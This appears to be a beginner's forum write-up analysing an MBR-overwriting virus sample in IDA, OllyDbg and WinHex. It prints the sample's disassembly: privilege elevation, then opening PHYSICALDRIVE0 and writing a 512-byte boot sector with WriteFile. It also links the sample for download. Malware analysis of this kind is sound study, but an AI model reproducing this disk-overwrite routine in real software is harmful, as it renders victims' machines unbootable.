本帖最后由 小哈龙 于 2017-8-4 14:03 编辑
1 MBR病毒样本分析
1.1 基本信息
样本类型:MBR感染样本
大小:36864 字节 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
壳种类:无壳
编译器信息:VC++6.0
简介:该样本是一个修改MBR的病毒。
mbr.zip
(10.91 KB, 下载次数: 170)
感染症状:感染该病毒后,刚开始并不会发现有什么异常情况,但是当你重启电脑后,你就会发现电脑启动停留在一个黑色界面,带着恶意文字,在WIN7虚拟机中运行过后重启系统的结果,感染后重启电脑如图4-1所示
图4-1感染病毒效果图
文件变化:无
注册表变化:无
网络行为:无
1.2 详细分析
(1)首先总体看一下病毒程序布局
将病毒文件载入IDA,首先观察IDA 的Functions window 界面,如图4-2所示:
图4-2 IDA FunctionWindow图
因为该病毒文件是采用VC++6.0编译的,看到main函数,就试着点开看一下,双击main函数后,在IDA中看到如下汇编代码,该段介绍的是该病毒程序的主函数,包含两个子模块:
[C++] 纯文本查看 复制代码 int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_401000
add esp, 8
jmp sub_401090
_main endp
(2)模块一分析
汇编语言函数是以:函数名 proc(参数列表) 这样的格式,由此看出此函数有可能是病毒程序的主函数,
push offset aSedebugprivile; "SeDebugPrivilege";
这句汇编代码后面提示此处压栈的字符是“SeDebugPrivilege”,这是Windows的字符权限名称,一般用在进程提权中使用,然后看下面三句汇编代码:
[Asm] 纯文本查看 复制代码 push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4010002.
首先将两个值压栈,其中一个值还与进程提权有关,下面一个call,指向了另一个位置,想到这里,这个call里面的操作估计与进程提权相关,在IDA中双击call跟进,查看call的内容,为了直观这里切换到IDA 的Graph view,双击call出现的内容,如图4-3:
图4-3 IDA call sub_401000 Graph View图
进入这个界面,该从哪里才下手呢,刚才分析,这个call所做的操作与进程提权相关,要想提升一个进程的权限,那么首先要做的第一步是得到当前进程的句柄,查看call进来的汇编代码发现一个API GetCurrentProcess,这个API是获取当前进程的句柄的,这就正确了,设想是正确的,就从这里下手,如下汇编代码,主要介绍两个进程提权的API函数GetCurrentProcess和OpenProcessToken
[Asm] 纯文本查看 复制代码 push esi
push eax ; TokenHandle
push 28h ; DesiredAccess
mov esi, 1
call ds:GetCurrentProcess
push eax ; ProcessHandle
call ds:OpenProcessToken
test eax, eax
jnz short loc_401028
上面汇编代码,就是两个函数,第一个先将三个参数压栈,调用GetCurrentProcess函数获取当前进程句柄,随后将句柄返回寄存器eax(汇编语言的函数返回值默认存储在寄存器eax中),随后call ds:OpenProcessToken 调用OpenProcessToken函数,获取进程令牌句柄,并将返回值保存在eax中。test eax, eaxjnz short loc_401028这两条语句,先test eax,eax会改变标志位ZF,使ZF不等于1,jnz表示标志位ZF不等于1时,跳转,因此此处跳转到shortloc_401028处。在图4-3中右下角那一个模块中,下边看一下汇编代码,主要功能修改进程权限
[Asm] 纯文本查看 复制代码 loc_401028:
mov ecx, [esp+18h+arg_4]
mov eax, [esp+18h+lpName]
neg ecx
lea edx, [esp+18h+NewState.Privileges]
mov [esp+18h+NewState.PrivilegeCount], esi
sbb ecx, ecx
push edx ; lpLuid
and ecx, 2
push eax ; lpName
push 0 ; lpSystemName
mov [esp+24h+NewState.Privileges.Attributes], ecx
call ds:LookupPrivilegeValueA
mov edx, [esp+18h+hObject]
push 0 ; ReturnLength
push 0 ; PreviousState
lea ecx, [esp+20h+NewState]
push 10h ; BufferLength
push ecx ; NewState
push 0 ; DisableAllPrivileges
push edx ; TokenHandle
call ds:AdjustTokenPrivileges
call ds:GetLastError
test eax, eax
在前边叙述中,已经获取当前进程的进程令牌,根据提升进程权限的操作,下一步要做的操作就是要查询进程的权限。简单分析之后,看一下上边代码,其中两个关键的call是需要注意的:call ds:LookupPrivilegeValueA这个API函数就是查询进程权限的,与提升进程权限的步骤完全一致,根据VC++函数压栈的顺序第一个参数到第三个参数的压入顺序就是:push 0 ; lpSystemNamepush eax ; lpNamepush edx ; lpLuid然后call,直接调用该函数,这是第一个call call ds:AdjustTokenPrivileges通过查看进程的权限,判断进程是否可以对磁盘进行写操作,如果没有,则查找相关权限的LUID,赋予该进程相应权限,具体不再赘述。
(3)模块2分析
前面模块一中介绍的是进程提权部分,也就是main中的第一个关键点call sub_401000,下面来看一下main中第二个关键点:
[Asm] 纯文本查看 复制代码 add esp, 8
jmp sub_401090
在第一个call sub_401000这个子模块中,一共两个参数压栈
[Asm] 纯文本查看 复制代码 push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
在函数结束时,需要将堆栈还原,32位的两个参数正好8个字节,因此Add esp,8, 让栈顶指针增加8字节,栈在开辟储存空间是向下增长的。堆栈平衡以后,程序直接无条件跳转到 sub_401090处,在IDA中直接双击,切换到 sub_401090处,为了看着比较直观,先来看一下整体视图,如图4-4,4-5所示:
图4-4 IDA sub_401090 处代码图
图4-5 IDA检测写入数据图
通过对main中第一个call模块进行分析,病毒程序已经提升进程权限,对于下一步,估计会对硬盘进行写入操作。刚切换到sub_401090位置,并不知道到程序会怎么做,大致浏览一下代码,会发现\\\\.\\PHYSICALDRIVE0字样,这也说明不了什么,只能说明有可能是想获取本地磁盘的信息,但是下面还有所发现,看如下几行代码,主要介绍CreateFileA函数
[Asm] 纯文本查看 复制代码 push 0 ; hTemplateFile 参数7
rep stosd
stosw
push 0 ; dwFlagsAndAttributes 参数6
push 3 ; dwCreationDisposition 参数5
stosb
push 0 ; lpSecurityAttributes 参数4
mov ecx, 0Ch
mov esi, offset unk_406030
lea edi, [esp+220h+Buffer]
push 3 ; dwShareMode 参数3
push 0C0000000h ; dwDesiredAccess 参数2
rep movsd
push offset FileName ; \\\\.\\PHYSICALDRIVE0 参数1
mov [esp+22Ch+var_2], 55h
mov [esp+22Ch+var_1], 0AAh
call ds:CreateFileA
调用函数55h 0AAh 这个对磁盘主引导区比较熟悉的应该知道,这是磁盘主引导扇区(MBR)的结束表示,一般是第一扇区的511和512字节处,就像PE文件头的标识00004550一样,以上汇编代码中,其实只是实现了一个功能就是在磁盘下创建文件,从参数7到参数1是CreateFileA函数的7个参数,顺序也按照调用顺序进行排列,具体参数就不再细说了,调用CreateFileA函数取得设备句柄(这个设备句柄后面会用到),通过对返回值进行检测,判断函数是否成功,成功的话进行进一步操作,如下汇编代码:
[Asm] 纯文本查看 复制代码 mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4010F4
这里将函数的返回值储存在esi中,也就是设备的句柄,具体有什么用处,继续往后边分析。一个jnz条件跳转指明了一个方向,对于这个跳转与否,在IDA中有两个方向,如图4-6所示:
图4-6 IDA jnz short loc_4010F4 解释图
如果文件创建成功则跳转至loc_4010F4处,否则执行另一块操作,此时为了清晰地看一下程序的运行细节,将病毒程序载入到OD中,如图4-7所示,
进行分析。
图4-7 OD jnz short loc_4010F4 解释图
载入OD后,ALT+C到CPU界面,右键查看所有字符串参考,跟以前的分析,直接双击所查找出来的\\\\.\\PHYSICALDRIVE0字符,双击进入如图4-双击进入如图4-7的界面,然后看到CreateFile函数,在call该函数的前后下断,下软件断点就可以了,然后F9,让程序运行至第一个断点处,如图4-7红色004010D4处,然后F8单步往下走(不要F7,F7进入函数体内没有其它需要的信息,这里就不截图展示了),此时主义观擦右上角寄存器信息,注意ESI和EAX如图4-7右上角红色方框处,F8逐步将程序运行至004010E7处,可以先看ZF标志位(OD中以字母Z在右上角显示),此时也可以看到图4-7左下角出现"跳转已实现"字样,程序已经跳转至loc_4010F4处,此时留意ESI和EAX两个寄存器,此时它们的值是44h,它代表取得设备句柄成功。其实在创建设备句柄之前,要写入MBR的字符数据已经可以在内存中查到,如下代码:
[C++] 纯文本查看 复制代码 mov ecx, 0Ch
mov esi, offset unk_406030
lea edi, [esp+220h+Buffer]
观察上边代码,[esp+220h+Buffer]这个地址开始的数据后来被检测到包含MBR引导扇区的结束标志55H AAH,如下代码:
[Asm] 纯文本查看 复制代码 mov [esp+22Ch+var_2], 55h
mov [esp+22Ch+var_1], 0AAh
因此在内存中转到406030这个位置,查看数据,如图4-8所示。此时再把视线回归到IDA中如图4-3所示,既然程序跳转到loc_4010F4处,下面具来分析一下loc_4010F4处的代码,来了解病毒程序下面如何操作,上面通过CreateFile取得文件设备句柄,并将设备句柄存取到ESI中,然后进一步操作,如下代码:
[Asm] 纯文本查看 复制代码 lea ecx, [esp+210h+NumberOfBytesWritten]
push 0 ; lpOverlapped
push ecx ; lpNumberOfBytesWritten
lea edx, [esp+218h+Buffer]
push 200h ; nNumberOfBytesToWrite 写入数据位512字节
push edx ; lpBuffer
push esi ; hFile
call ds:WriteFile
调用WriteFile函数,将512字节的 数据写入hFile(即CreateFile创建的文件中)中,下面利用DeviceIoControl与设备进行I/O,上面已经创建好的设备句柄保存在ESI中,详细如下代码:
[Asm] 纯文本查看 复制代码 lea eax, [esp+210h+BytesReturned] ;数据所在位置
push 0 ; lpOverlappedpush eax ; lpBytesReturned 驱动程序实际返回给应用程序的数据字节数地址
push 0 ; nOutBufferSize
push 0 ; lpOutBuffer
push 0 ; nInBufferSize
push 0 ; lpInBuffer
push 9001Ch ; dwIoControlCode I/O和文件系统数据缓冲区进行数据传递的方式
push esi ; hDevice 设备句柄
call edi ; DeviceIoControl
push esi ; hObject
call ds:CloseHandle[esp+210h+BytesReturned] ;表示数据所在位置,上面参数有相关解释,通过DeviceIoControl将数据通过驱动程序写入设备,最后关闭设备句柄
push esi ; hObject
call ds:CloseHandle
图4-8 IDA 406030 处16进制数据数据查询图
(4)利用WinHex提取出被感染后的MBR数据
该工具里面的工具栏里面提供有打开磁盘文件扩展,可以选择以16进制或者10进制显示,如图4-9是正常情况下的MBR的内容:
图4-9 WinHex打开磁盘扇区文件图打开之后会显示如界面,选择物理驱动器,如图4-10所示:
图4-10 WinHex选择操作物理驱动器图
打开磁盘文件后,选中磁盘的第一个扇区,即MBR,右键->复制模块->置入新文件保存起来,如图4-11所示:
图 4-11 WinHex 保存磁盘扇区文件图
1.1 病毒的修复如果在分析之前对MBR有备份,这样可以容易处理一些,有一款工具叫MBRTool,可以对MBR进行简单的备份和恢复:
说明:因为本人在此领域还是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html 发的一篇分析文章后决定自己尝试一下,因为个人技术太少,刚涉足此方向,新手上路,望各位大大给予指点
|